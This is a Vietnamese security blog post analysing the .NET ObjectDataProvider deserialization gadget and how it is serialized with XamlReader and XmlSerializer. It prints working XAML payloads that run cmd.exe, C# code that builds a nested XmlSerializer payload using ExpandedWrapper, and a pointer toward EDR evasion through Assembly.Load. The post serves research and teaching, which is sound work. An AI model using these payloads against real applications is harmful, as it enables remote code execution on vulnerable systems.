[C# Deserialization] - ObjectDataProvider gadget và Xaml Formatter, XmlSerialier


Lời nói đầu
Đây là bài đầu tiên (hoặc là bài duy nhất) về series C# deserialization. Vì là bài đầu tiên nên mình sẽ nói qua về một số thuật ngữ trong quá trình mình xem về C# deserialization.
Một số thuật ngữ
Khi mới bắt đầu về C# deserialization có một số thuật ngữ mà mình nghĩ là cơ bản và cần biết.
Gadget là một class có thể bị lợi dụng (hoặc được tận dụng) để làm một hành động ngoài mong đợi như là remote code execution, arbitrary file deletion, …
Trong bài này mình sẽ phân tích ObjectDataProvider
gadget. Đây là một class rất bình thường trong các ứng dụng WPF. Đọc tới đây có thể các bạn (có mình trong này) sẽ nghĩ là, WPF là desktop app mà, mình chơi websec thì có ý nghĩa gì? Mình chắc chắn là nó vẫn có vài điều có ích cho các bạn.
Formatter là định dạng để ghi dữ liệu sau khi serialized, ví dụ như là byte streams, XML, JSON, … Chúng được dùng để biến object thành các định dạng như vừa nêu, hoặc ngược lại biến các định dạng XML, JSON, … thành object.
Trong bài này, mình sẽ nói về XamlReader
để xử lý định dạng XAML và XmlSerialize
để xử lý định dạng XML.
Gadget ObjectDataProvider
Class ObjectDataProvider
mình cũng đọc docs cũng chả biết nó dùng làm gì nữa :v Nhưng mình sẽ biết được nó nằm trong PresentationFramework.dll
.
PresentationFramework.dll
dùng cho ứng dụng WPF nên nếu tạo app console bình thường có thể không có sẵn, các bạn sẽ phải tìm nó ở đâu đó trong máy và thêm vào project. Của mình là nằm ở trong GAC C:\Windows\
Microsoft.NET
\assembly\GAC_MSIL\PresentationFramework
.
Quăng nó vào dnSpy. Ở setter ObjectInstance
ta có thể thấy đoạn code gán thuộc tính ObjectInstance
bằng method SetObjectInstance(value)
, sau đó gọi base.Refresh
.
Trong method Refresh
gọi tới BeginQuery
.
Bên trong BeginQuery
gọi tới QueryWorker
.
Bên trong QueryWorker
, gọi CreateObjectInstance
gán vào _objectInstance
và gọi InvokeMethodOnInstance
để gọi method.
Chúng ta sẽ quan sát kỹ hơn hai method trên. CreateObjectInstance
sẽ dùng Activator.CreateInstance
để tạo object với kiểu _objectType
, với parameter truyền vào constructor ở trong _constructorParameters
.
Còn InvokeMethodInstance
, sẽ gọi method MethodName
trên object _objectInstance
với param truyền vào method là _methodParameters
.
Vậy là nếu một người có thể tạo được object ObjectDataProvider
với các thuộc tính tùy ý thì có thể tạo object type khác và gọi các method trên object này. Có nhiều các truyền parameter để RCE.
Truyền ObjectType
, MethodName
và MethodParameters
.
Truyền ObjectType
và ConstructorParameters
.
Truyền ObjectInstance
và MethodName
.
Mục đích mình viết lại nhiều cách vì thông thường các tool như ysoserial.net
sẽ chỉ đưa ra một cách, làm newbie như mình sẽ lầm tưởng là chỉ có một cách, nếu biết được nhiều cách thì dễ bypass hơn. Tuy nhiên không phải cách nào cũng (de)serialize do hạn chế của formatter.
Vậy là cơ bản chúng ta đã xong ObjectDataProvider
gadget. Tiếp theo, mình sẽ trình bày về cách (de)serialize nó bằng XamlReader
(Xaml Formatter).
Xaml Formatter
Mình có thể dùng đoạn code bên dưới để serialize.
Output của nó sẽ như sau
<?xml version="1.0" encoding="utf-16"?>
<ObjectDataProvider MethodName="Start" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:sc="clr-namespace:System.Collections;assembly=mscorlib" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
<ObjectDataProvider.ObjectInstance>
<sd:Process>
<sd:Process.StartInfo>
<sd:ProcessStartInfo Arguments="/c calc.exe" StandardErrorEncoding="{x:Null}" StandardOutputEncoding="{x:Null}" UserName="" Password="{x:Null}" Domain="" LoadUserProfile="False" FileName="cmd.exe">
<sd:ProcessStartInfo.EnvironmentVariables>
...
<sc:DictionaryEntry Key="ProgramFiles(x86)" Value="C:\Program Files (x86)" />
...
</sd:ProcessStartInfo.EnvironmentVariables>
</sd:ProcessStartInfo>
</sd:Process.StartInfo>
</sd:Process>
</ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>
Nó sẽ đi kèm với phần EnvironmentVariables
. Phần này rất là dài với không cần thiết lắm nên mình có thể rút gọn nó như sau. Cả môt số attribute của ProcessStartInfo
nữa, mình cũng có thể bỏ nó đi.
<?xml version="1.0" encoding="utf-16"?>
<ObjectDataProvider MethodName="Start"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:sd="clr-namespace:System.Diagnostics;assembly=System"
xmlns:sc="clr-namespace:System.Collections;assembly=mscorlib"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
<ObjectDataProvider.ObjectInstance>
<sd:Process>
<sd:Process.StartInfo>
<sd:ProcessStartInfo Arguments="/c calc.exe" FileName="cmd.exe">
</sd:ProcessStartInfo>
</sd:Process.StartInfo>
</sd:Process>
</ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>
Quăng nó vào deserialize thì mình thấy rằng command đã được chạy.
Chỗ này mình thấy rằng nhiều nơi dùng hàm XamlReader.Parse
để demo, nhưng nó không phải là method duy nhất có thể trigger deserialization mà còn có XamlReader.Load
.
Tới đây tự nhiên mình lag, và đặt câu hỏi là “Tại sao không tạo luôn object Process
rồi bỏ vô Xaml luôn mà phải qua ObjectDataProvider
?“ Vì Xaml không hỗ trợ gọi method Start
, mà chỉ tạo object, nên mình sẽ cần ObjectDataProvider
để vừa tạo object vừa gọi được method.
Ok, Xaml Formatter khá là dễ, nó có thể được dùng để tạo object khá là thoải mái.
XmlSerializer
Điểm chú ý khi attack với XmlSerializer
thì type truyền vào constructor của XmlSerialier
phải kiểm soát được thì mới thành công.
XmlSerializer
sẽ không được thoải mái như Xaml. Mình sẽ gặp lỗi như sau khi cố serialize.
Mình có tìm hiểu trong link này. Lỗi người ta gặp cũng tương tự.
Lý do là do khi sử dụng XmlSerializer
constructor, dev sẽ truyền vào type muốn serialize. Sau đó, XmlSeralizer
sẽ hoạt động bằng cách tạo ra on-the-fly assembly (với tên ngẫu nhiên). Trong quá trình đó, nó sẽ duyệt qua public
read/write property trong type đó rồi kiểm tra những type của những property đó có constructor mà không nhận parameter không (nếu không có thì XmlSerializer
không thể tạo được object trong quá khi deserialization) rồi dựng lên một list các type nó biết trong quá trình (de)serialize dựa trên type của các property đó. Vấn đề nằm ở đây, khi serialize mà nó thấy class không nằm trong list thì exception sẽ được quăng ra. Một cách khác là thêm XInclude
attribute, nó sẽ thêm type vào list. Điều đó có nghĩa là dev khi dùng phải biết các type của được dùng ở property, kể cả derived class. Nghe tới đây mình thấy hơi dở, tại vì như thế sẽ mất đi tính trừu tượng hóa của OOP.
Ở ví dụ trên ta truyền vào type ở consturctor là Object
nên khi serialize nó sẽ báo lỗi là ObjectDataProvider
was not expected. Vậy nếu ta chuyển type thành ObjectDataProvider
thay cho Object
thì sẽ như thế nào.
Nó vẫn có lỗi nhưng lần này là Process
was not expected. Thuộc tính ObjectInstance
của ObjectDataProvider
có type là object nhưng khi serialize thì nó lại nhận được Process
. Mà Process
thì không có trong list.
Có một cách khác nữa để fix ngoài dùng XmlInclude
là dùng constructor bên dưới. Parameter thứ hai là những thuộc tính mà XmlSerializer
cho phép.
Chỗ này mình gặp một lỗi khác liên quan tới Process
nên mình sẽ dựng class khác Process
để thử nghiệm sau đó mình sẽ quay trở lại giải quyết class Process
sau.
Ở bên dưới dùng constructor như ban đầu sẽ gây ra lỗi class Person
was not expected.
Dùng constructor XmlSerializer(Type, Type[])
, có thể thấy là mọi thứ đều hoạt động và không có lỗi.
Có một cách khác để bypass lỗi “class was not expected” ở Defcon. Là sử dụng ExpandedWrapper
.
Vậy ExpandedWrapper
có gì mà có thể bypass được.
ExpandedWrapper
nằm trong assembly System.Data.Services.dll
. Mình tìm thấy nó ở C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Data.Services
.
ExpandedWrapper
được định nghĩa với nhiều kiểu khác nhau nhưng kiểu được nêu ra trong bài talk là ExpandedWrapper<TExpandedElement, TProperty0>
.
Nhìn qua thì nó chỉ có một public property dùng generic type.
Cha của nó cũng có một property như thế.
Tóm lại thì ExpandedWrapper<TExpandedElement, TProperty0>
chỉ có hai public propery dùng generic type.
→ Đơn giản hóa lại thì nó chỉ là class có hai public property với type mà mình truyền vào.
Vậy thì tại sao lại bypass được? Generic type sẽ được thay thế bằng type thật ở compile-time. Nên nếu khởi tạo new ExpandedWrapper<Person, ObjectDataProvider>()
thì ta sẽ có instance với property với type là Person
và ObjectDataProvider
. Khi khởi tạo XmlSerializer
với type là ExpandedWrapper<Person, ObjectDataProvider>
nó sẽ duyệt qua hai type này và thêm Person
và ObjectDataProvider
vào list mà nó cho phép, do đó có thể bypass được lỗi. Ngoài ra, ExpandedWrapper
có nhiều định nghĩa, ta có thể dùng bất kỳ cái nào để bypass. Tóm lại là tìm class có dùng generic type. Cách bypass này theo mình thấy khá là hay.
Oke, để demo luôn.
Mình sẽ thử clone class ExpandedWrapper
để demo generic concept mà mình nói. Mình tạo class GenericTest
với hai public property như ExpandedWrapper
, kết quả là vẫn serialize thành công.
Nãy giờ mình chủ yếu nói về serialize mà không có deserialize, không phải khi nào serialize được thì deserialize sẽ được nhưng trong những gì mình nãy giờ trình bày nãy giờ thì nó là như thế, cứ serialize được là sẽ deserialize được.
Oke, tiếp theo chúng ta quay lại lỗi lúc nãy đối với Process
.
Lý do là vì, Process
kế thừa từ Component
.
Trong Component
có thuộc tính site
là một interface cho nên không thể serialize nó được.
Trong log lỗi nó nói thế luôn :v
Một cách để xử lý chuyện này là bọc một thứ gì đó bên trong, tương tự như ý tưởng ExpandedWrapper
lúc này là mình cần có gì đó bọc lại. Một cách mà mọi người thường dùng là bọc XamlReader.Parse
bên trong. Rõ ràng là lúc này XamlReader.Parse
có thể serializer được Process
. Nên bây giờ chúng ta sẽ dùng XmlSerialize
để serialize XamlReader
thay vì trực tiếp là Process
.
Demo
Copy đống vừa nhận được vào XmlSerializer
để deserialize, ta thấy rằng cmd calc.exe
đã được thực thi thành công.
Cơ bản code sẽ như này.
using System;
using System.Diagnostics;
using System.IO;
using System.Text;
using System.Windows.Data;
using System.Xml.Serialization;
using System.Data.Services.Internal;
using System.Windows.Controls;
using System.Windows.Markup;
using System.Xml;
using System.Reflection;
using System.Windows;
using System.Collections.Generic;
using System.CodeDom;
using System.Collections.Specialized;
namespace XmlDeserialization
{
class Program
{
static void Main(string[] args)
{
Process p = new Process();
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c calc.exe";
p.StartInfo = psi;
ObjectDataProvider odp = new ObjectDataProvider();
odp.MethodName = "Start";
odp.ObjectInstance = p;
String XamlPayload = XamlWriter.Save(odp);
ObjectDataProvider odp2 = new ObjectDataProvider();
odp2.MethodName = "Parse";
odp2.ObjectInstance = new XamlReader();
odp2.MethodParameters.Add(XamlPayload);
ExpandedWrapper<XamlReader, ObjectDataProvider> wrapper = new ExpandedWrapper<XamlReader, ObjectDataProvider>();
wrapper.ProjectedProperty0 = odp2;
MemoryStream memoryStream = new MemoryStream();
TextWriter writer = new StreamWriter(memoryStream);
XmlSerializer xml = new XmlSerializer(
typeof(ExpandedWrapper<XamlReader, ObjectDataProvider>)
);
xml.Serialize(writer, wrapper);
string result = Encoding.UTF8.GetString(memoryStream.ToArray());
Console.WriteLine(result);
}
}
}
Nhưng mình chưa hiểu sao khi chạy nó lại lỗi tới chỗ environment bên trong XamlPayload
, nếu mình thử tay xóa chỗ environment đó đi thì sẽ chạy được.
Tạm thời mình sẽ bỏ qua lỗi đó và sẽ xử lý sau nếu cần thiết.
Ngoài XamlReader
ra, ta có thể thay đổi thành những formatter khác nếu thích hợp.
Nếu các bạn dùng ysoseria.NET để sinh ra payload các bạn có thể thấy nó dùng ResourceDictionary
bọc bên ngoài ObjectDataProvider
.
Trong trường hợp đơn giản như Process
thì ResourceDictionary
không cần thiết. Mình có đặt câu hỏi cho tác giả và nhóm cộng tác viên ở đây. Chỉ là khi dùng ResourceDictionary
thì nó sẽ dễ dàng hơn vì có thể dùng kiểu daisychain.
Tức là có thể tách nhỏ nó ra rồi gọi lại sau.
Một điều nữa cần lưu ý đối với XmlSerializer
là nó sẽ truy cập các thuộc tính, nếu class của thuộc tính đó không thể truy cập (private
) thì nó sẽ báo lỗi. Ví dụ như ở gadget ObjectDataProvier
ta có thể gán property ObjectType
nhưng khi gán thì không thể serialize.
Vì kiểu Type
thực chất là kiểu RuntimeType
và kiểu này không phải public nên sẽ báo lỗi như trên.
Case study
Case study rõ nhất về XmlSerialize chắc là CVE-2017-9822.
Một ví dụ khi việc dùng ResourceDictionary
là để bypass EDR, ví dụ khi dùng Process
thì sẽ tạo process mới và EDR sẽ dễ dàng phát hiện điều đó. Ta có thể dùng Assembly.Load(dll bytes)
để load DLL tùy ý. Mình có đọc được một blog như thế. Blog này giới thiệu ObjectDataProvider
theo một góc nhìn khác mà mình giới thiệu ở trên, mình thấy cũng rất hay.
Tổng kết
Qua đây, mình học được cách bypass giới hạn của XmlSerialize
bằng generic type.
Đây cũng là bài đầu tiên mình viết về C#, .NET. Hy vọng mình sẽ có thêm thời gian để phân tích nhiều gadget và format hơn nữa.
Subscribe to my newsletter
Read articles from Lê Mậu Anh Phong directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by

Lê Mậu Anh Phong
Lê Mậu Anh Phong
Hi!